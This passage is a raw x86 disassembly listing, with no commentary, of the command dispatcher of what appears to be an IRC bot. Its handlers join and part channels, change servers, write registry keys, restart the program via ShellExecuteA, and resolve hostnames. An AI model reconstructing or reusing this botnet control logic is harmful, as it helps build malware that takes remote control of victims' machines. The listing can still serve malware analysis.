[ebp+var_1A4] push eax call sub_4167DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B2C5: ; CODE XREF: sub_40A9CF+8D2j mov eax, [ebp+var_1A8] sub eax, dword_419CF0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B2EF mov eax, [ebp+var_1A8] sub eax, dword_419CE4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B300 loc_40B2EF: ; CODE XREF: sub_40A9CF+909j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D74D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B300: ; CODE XREF: sub_40A9CF+91Ej mov eax, [ebp+var_1A8] sub eax, dword_419CD4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B335 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403260 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: sub_40A9CF+944j mov eax, [ebp+var_1A8] sub eax, dword_419CC8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B36A mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40260D add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B36A: ; CODE XREF: sub_40A9CF+979j mov eax, [ebp+var_1A8] sub eax, dword_419CB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3A5 mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406509 add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3A5: ; CODE XREF: sub_40A9CF+9AEj mov eax, [ebp+var_1A8] sub eax, dword_419CA8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B3DA mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_41665C add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3DA: ; CODE XREF: sub_40A9CF+9E9j mov eax, [ebp+var_1A8] sub eax, dword_419C98 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B426 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B3FD jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B3FD: ; CODE XREF: sub_40A9CF+A27j mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000001h call sub_401000 pop ecx pop ecx mov eax, [ebp+arg_18] push dword ptr [eax+4] push 80000002h call sub_401000 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B426: ; CODE XREF: sub_40A9CF+A1Ej mov eax, [ebp+var_1A8] sub eax, dword_419C88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B44C mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_401146 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B44C: ; CODE XREF: sub_40A9CF+A6Aj mov eax, [ebp+var_1A8] sub eax, dword_419C7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B47D push 0 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B47D: ; CODE XREF: sub_40A9CF+A90j mov eax, [ebp+var_1A8] sub eax, dword_419C70 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4AE push 1 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4017AA add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40A9CF+AC1j mov eax, [ebp+var_1A8] sub eax, dword_419C64 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B4D5 lea eax, [ebp+var_1A4] push eax call sub_409BF1 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B4D5: ; CODE XREF: sub_40A9CF+AF2j mov eax, [ebp+var_1A8] sub eax, dword_419C5C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B508 push offset dword_41EF48 push offset dword_419C4C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B508: ; CODE XREF: sub_40A9CF+B19j mov eax, [ebp+var_1A8] sub eax, dword_419C40 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B536 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413FE7 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B536: ; CODE XREF: sub_40A9CF+B4Cj mov eax, [ebp+var_1A8] sub eax, dword_419C34 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C28 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40B575 mov eax, [ebp+var_1A8] sub eax, dword_419C1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5A7 loc_40B575: ; CODE XREF: sub_40A9CF+B7Aj ; sub_40A9CF+B8Fj mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_413AB0 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5A7: ; CODE XREF: sub_40A9CF+BA4j mov eax, [ebp+var_1A8] sub eax, dword_419C0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B5CE lea eax, [ebp+var_1A4] push eax call sub_41417D pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B5CE: ; CODE XREF: sub_40A9CF+BEBj mov eax, [ebp+var_1A8] sub eax, dword_419BF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B631 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz short loc_40B61B mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_41673F pop ecx test eax, eax jnz short loc_40B601 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B601: ; CODE XREF: sub_40A9CF+C2Bj push 104h mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset aPacked_exe_0 ; "packed.exe" call sub_407A56 add esp, 0Ch jmp short loc_40B62C ; --------------------------------------------------------------------------- loc_40B61B: ; CODE XREF: sub_40A9CF+C1Bj push offset aPacked_exe ; "packed.exe" push offset aPacked_exe_0 ; "packed.exe" call sub_416B3A ; strcpy pop ecx pop ecx loc_40B62C: ; CODE XREF: sub_40A9CF+C4Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_40A9CF+C12j mov eax, [ebp+var_1A8] sub eax, dword_419BE8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B678 mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_414600 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B678: ; CODE XREF: sub_40A9CF+C75j mov eax, [ebp+var_1A8] sub eax, dword_419BE0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B791 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B69F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B69F: ; CODE XREF: sub_40A9CF+CC9j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx shl eax, 1 push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A68], eax cmp [ebp+var_5A68], 0 jnz short loc_40B6C8 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B6C8: ; CODE XREF: sub_40A9CF+CF2j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax push [ebp+var_5A68] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40EB4E add esp, 0Ch push [ebp+var_5A68] push offset dword_419BC4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A68] call sub_416B4C ; free pop ecx push 1000h lea eax, [ebp+var_1A60] push eax call sub_4104A3 pop ecx pop ecx call sub_416B64 ; clock mov [ebp+var_A60], eax and [ebp+var_1A64], 0 jmp short loc_40B743 ; --------------------------------------------------------------------------- loc_40B736: ; CODE XREF: sub_40A9CF+D9Bj mov eax, [ebp+var_1A64] inc eax mov [ebp+var_1A64], eax loc_40B743: ; CODE XREF: sub_40A9CF+D65j cmp [ebp+var_1A64], 186A0h jge short loc_40B76C push 1000h lea eax, [ebp+var_5A64] push eax lea eax, [ebp+var_1A60] push eax call sub_40EB4E add esp, 0Ch jmp short loc_40B736 ; --------------------------------------------------------------------------- loc_40B76C: ; CODE XREF: sub_40A9CF+D7Ej call sub_416B64 ; clock sub eax, [ebp+var_A60] push eax push offset aItTookMeUms_ ; "It took me %ums." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B791: ; CODE XREF: sub_40A9CF+CBCj mov eax, [ebp+var_1A8] sub eax, dword_419BA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B823 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40B7B4 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7B4: ; CODE XREF: sub_40A9CF+DDEj mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_5A6C], eax cmp [ebp+var_5A6C], 0 jnz short loc_40B7DB jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B7DB: ; CODE XREF: sub_40A9CF+E05j push [ebp+var_5A6C] mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40E9C9 pop ecx pop ecx mov ecx, [ebp+var_5A6C] and byte ptr [ecx+eax], 0 push [ebp+var_5A6C] push offset dword_419B88 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch push [ebp+var_5A6C] call sub_416B4C ; free pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B823: ; CODE XREF: sub_40A9CF+DD5j mov eax, [ebp+var_1A8] sub eax, dword_419B78 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B873 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40B85C push offset dword_41EF48 push offset dword_419B64 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp short loc_40B86E ; --------------------------------------------------------------------------- loc_40B85C: ; CODE XREF: sub_40A9CF+E70j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_41EF48 call sub_416B3A ; strcpy pop ecx pop ecx loc_40B86E: ; CODE XREF: sub_40A9CF+E8Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B873: ; CODE XREF: sub_40A9CF+E67j mov eax, [ebp+var_1A8] sub eax, dword_419B58 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B899 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4097A7 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B899: ; CODE XREF: sub_40A9CF+EB7j mov eax, [ebp+var_1A8] sub eax, dword_419B4C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8C7 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_403FE5 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8C7: ; CODE XREF: sub_40A9CF+EDDj mov eax, [ebp+var_1A8] sub eax, dword_419B3C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B8ED mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_4098F3 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B8ED: ; CODE XREF: sub_40A9CF+F0Bj mov eax, [ebp+var_1A8] sub eax, dword_419B30 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B91B mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406722 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B91B: ; CODE XREF: sub_40A9CF+F31j mov eax, [ebp+var_1A8] sub eax, dword_419B20 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B949 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_412F07 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_40A9CF+F5Fj mov eax, [ebp+var_1A8] sub eax, dword_419B14 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B98A mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A1A7 add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B98A: ; CODE XREF: sub_40A9CF+F8Dj mov eax, [ebp+var_1A8] sub eax, dword_419B08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9BF mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40A50E add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9BF: ; CODE XREF: sub_40A9CF+FCEj mov eax, [ebp+var_1A8] sub eax, dword_419AFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B9F5 push offset aPacked_exe ; "packed.exe" push offset aQuitSRemoved_ ; "QUIT :%s removed." call sub_40D6CB pop ecx pop ecx push 36EE80h call ds:dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B9F5: ; CODE XREF: sub_40A9CF+1003j mov eax, [ebp+var_1A8] sub eax, dword_419ADC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BA79 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA18 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40A9CF+1042j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aLast ; "#last" call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BA41 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63EC], eax jmp short loc_40BA4B ; --------------------------------------------------------------------------- loc_40BA41: ; CODE XREF: sub_40A9CF+1062j mov [ebp+var_63EC], offset byte_41DE30 loc_40BA4B: ; CODE XREF: sub_40A9CF+1070j push [ebp+var_63EC] push offset dword_41ED48 call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41ED48 push offset aLast ; "#last" push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA79: ; CODE XREF: sub_40A9CF+1039j mov eax, [ebp+var_1A8] sub eax, dword_419AC4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BADB mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BA9C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BA9C: ; CODE XREF: sub_40A9CF+10C6j mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jz short loc_40BAB3 mov eax, [ebp+arg_14] mov eax, [eax+8] mov [ebp+var_63F0], eax jmp short loc_40BABD ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_40A9CF+10D4j mov [ebp+var_63F0], offset byte_41DE30 loc_40BABD: ; CODE XREF: sub_40A9CF+10E2j push [ebp+var_63F0] mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BADB: ; CODE XREF: sub_40A9CF+10BDj mov eax, [ebp+var_1A8] sub eax, dword_419AB8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB15 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BAFE jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BAFE: ; CODE XREF: sub_40A9CF+1128j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aPartS ; "PART %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB15: ; CODE XREF: sub_40A9CF+111Fj mov eax, [ebp+var_1A8] sub eax, dword_419AA4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BB6C mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BB38 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40A9CF+1162j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_5A70], eax cmp [ebp+var_5A70], 927C0h jle short loc_40BB5B jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB5B: ; CODE XREF: sub_40A9CF+1185j push [ebp+var_5A70] call ds:dword_41709C ; Sleep jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_40A9CF+1159j mov eax, [ebp+var_1A8] sub eax, dword_419A9C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBB0 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BB93 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BB98 loc_40BB93: ; CODE XREF: sub_40A9CF+11B9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: sub_40A9CF+11C2j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D4AB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBB0: ; CODE XREF: sub_40A9CF+11B0j mov eax, [ebp+var_1A8] sub eax, dword_419A90 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BBF4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40BBD7 mov eax, [ebp+arg_18] cmp dword ptr [eax+8], 0 jnz short loc_40BBDC loc_40BBD7: ; CODE XREF: sub_40A9CF+11FDj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBDC: ; CODE XREF: sub_40A9CF+1206j mov eax, [ebp+arg_18] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D420 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BBF4: ; CODE XREF: sub_40A9CF+11F4j mov eax, [ebp+var_1A8] sub eax, dword_419A88 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BC28 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jnz short loc_40BC17 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC17: ; CODE XREF: sub_40A9CF+1241j mov eax, [ebp+arg_18] push dword ptr [eax+4] call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC28: ; CODE XREF: sub_40A9CF+1238j mov eax, [ebp+var_1A8] sub eax, dword_419A7C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCB2 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BC84 cmp dword_41DE38, 0 jz short loc_40BC5B mov [ebp+var_63F4], offset aOn ; "on" jmp short loc_40BC65 ; --------------------------------------------------------------------------- loc_40BC5B: ; CODE XREF: sub_40A9CF+127Ej mov [ebp+var_63F4], offset aOff ; "off" loc_40BC65: ; CODE XREF: sub_40A9CF+128Aj push [ebp+var_63F4] push offset aDebugModeIsS_ ; "Debug mode is %s." lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BC84: ; CODE XREF: sub_40A9CF+1275j push offset aOn ; "on" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40BCA6 mov dword_41DE38, 1 jmp short loc_40BCAD ; --------------------------------------------------------------------------- loc_40BCA6: ; CODE XREF: sub_40A9CF+12C9j and dword_41DE38, 0 loc_40BCAD: ; CODE XREF: sub_40A9CF+12D5j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCB2: ; CODE XREF: sub_40A9CF+126Cj mov eax, [ebp+var_1A8] sub eax, dword_419A50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BCD9 lea eax, [ebp+var_1A4] push eax call sub_415DFD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCD9: ; CODE XREF: sub_40A9CF+12F6j mov eax, [ebp+var_1A8] sub eax, dword_419A44 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD13 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BCFC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BCFC: ; CODE XREF: sub_40A9CF+1326j mov eax, [ebp+arg_18] push dword ptr [eax+4] push offset aModeS ; "MODE %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD13: ; CODE XREF: sub_40A9CF+131Dj mov eax, [ebp+var_1A8] sub eax, dword_419A30 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A24 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BD52 mov eax, [ebp+var_1A8] sub eax, dword_419A1C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BD62 loc_40BD52: ; CODE XREF: sub_40A9CF+1357j ; sub_40A9CF+136Cj push offset aQuitExitting ; "QUIT :exitting" call sub_40D6CB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BD62: ; CODE XREF: sub_40A9CF+1381j mov eax, [ebp+var_1A8] sub eax, dword_419A10 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BDC9 push 104h lea eax, [ebp+var_5B74] push eax push 0 call ds:dword_41708C ; GetModuleHandleA push eax call ds:dword_417090 ; GetModuleFileNameA push 0 push 0 push 0 lea eax, [ebp+var_5B74] push eax push offset aOpen ; "open" push 0 call ds:dword_4171D0 ; ShellExecuteA cmp eax, 20h ja short loc_40BDB6 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDB6: ; CODE XREF: sub_40A9CF+13E0j push offset aQuitRestarting ; "QUIT :restarting" call sub_40D6CB pop ecx push 0 call ds:dword_41705C ; ExitProcess loc_40BDC9: ; CODE XREF: sub_40A9CF+13A6j mov eax, [ebp+var_1A8] sub eax, dword_419A04 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE19 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BDEC jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BDEC: ; CODE XREF: sub_40A9CF+1416j mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax mov eax, [ebp+arg_14] mov eax, [eax+4] movzx eax, byte ptr [eax] push eax push offset dword_4199D4 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_40A9CF+140Dj mov eax, [ebp+var_1A8] sub eax, dword_4199C4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE38 call sub_407148 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE38: ; CODE XREF: sub_40A9CF+145Dj mov eax, [ebp+var_1A8] sub eax, dword_4199BC neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BE62 mov eax, [ebp+var_1A8] sub eax, dword_4199B0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BE7B loc_40BE62: ; CODE XREF: sub_40A9CF+147Cj mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_401D6E pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BE7B: ; CODE XREF: sub_40A9CF+1491j mov eax, [ebp+var_1A8] sub eax, dword_4199A8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEA9 mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_40CEB0 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEA9: ; CODE XREF: sub_40A9CF+14BFj mov eax, [ebp+var_1A8] sub eax, dword_41999C neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40BED3 mov eax, [ebp+var_1A8] sub eax, dword_41998C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40BEFD loc_40BED3: ; CODE XREF: sub_40A9CF+14EDj push offset aQuitChangingSe ; "QUIT :changing server" call sub_40D6CB pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D366 add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40BEFD: ; CODE XREF: sub_40A9CF+1502j mov eax, [ebp+var_1A8] sub eax, dword_41996C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C0D9 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40BF29 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40BF29: ; CODE XREF: sub_40A9CF+154Ej lea eax, [ebp+var_5B78] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C0BA mov eax, [ebp+var_5B78] mov [ebp+var_5B7C], eax loc_40BF54: ; CODE XREF: sub_40A9CF+16D8j cmp [ebp+var_5B7C], 0 jz loc_40C0AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+10h] mov eax, [ebp+var_5B7C] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz loc_40C098 mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 2 jnz short loc_40BFEA mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40BFBA mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63F8], eax jmp short loc_40BFC4 ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40A9CF+15DBj mov [ebp+var_63F8], offset dword_419968 loc_40BFC4: ; CODE XREF: sub_40A9CF+15E9j lea eax, [ebp+var_5F80] push eax push [ebp+var_63F8] push offset dword_419944 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C08D ; --------------------------------------------------------------------------- loc_40BFEA: ; CODE XREF: sub_40A9CF+15CEj mov eax, [ebp+var_5B7C] cmp dword ptr [eax+4], 17h jnz short loc_40C03E mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C011 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_63FC], eax jmp short loc_40C01B ; --------------------------------------------------------------------------- loc_40C011: ; CODE XREF: sub_40A9CF+1632j mov [ebp+var_63FC], offset dword_419968 loc_40C01B: ; CODE XREF: sub_40A9CF+1640j lea eax, [ebp+var_5F80] push eax push [ebp+var_63FC] push offset dword_419920 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp short loc_40C08D ; --------------------------------------------------------------------------- loc_40C03E: ; CODE XREF: sub_40A9CF+1625j mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C059 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6400], eax jmp short loc_40C063 ; --------------------------------------------------------------------------- loc_40C059: ; CODE XREF: sub_40A9CF+167Aj mov [ebp+var_6400], offset dword_419968 loc_40C063: ; CODE XREF: sub_40A9CF+1688j lea eax, [ebp+var_5F80] push eax mov eax, [ebp+var_5B7C] push dword ptr [eax+4] push [ebp+var_6400] push offset dword_4198EC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h loc_40C08D: ; CODE XREF: sub_40A9CF+1616j ; sub_40A9CF+166Dj push 3E8h call ds:dword_41709C ; Sleep loc_40C098: ; CODE XREF: sub_40A9CF+15BEj mov eax, [ebp+var_5B7C] mov eax, [eax+1Ch] mov [ebp+var_5B7C], eax jmp loc_40BF54 ; --------------------------------------------------------------------------- loc_40C0AC: ; CODE XREF: sub_40A9CF+158Cj push [ebp+var_5B78] call dword_41DE8C ; freeaddrinfo jmp short loc_40C0D4 ; 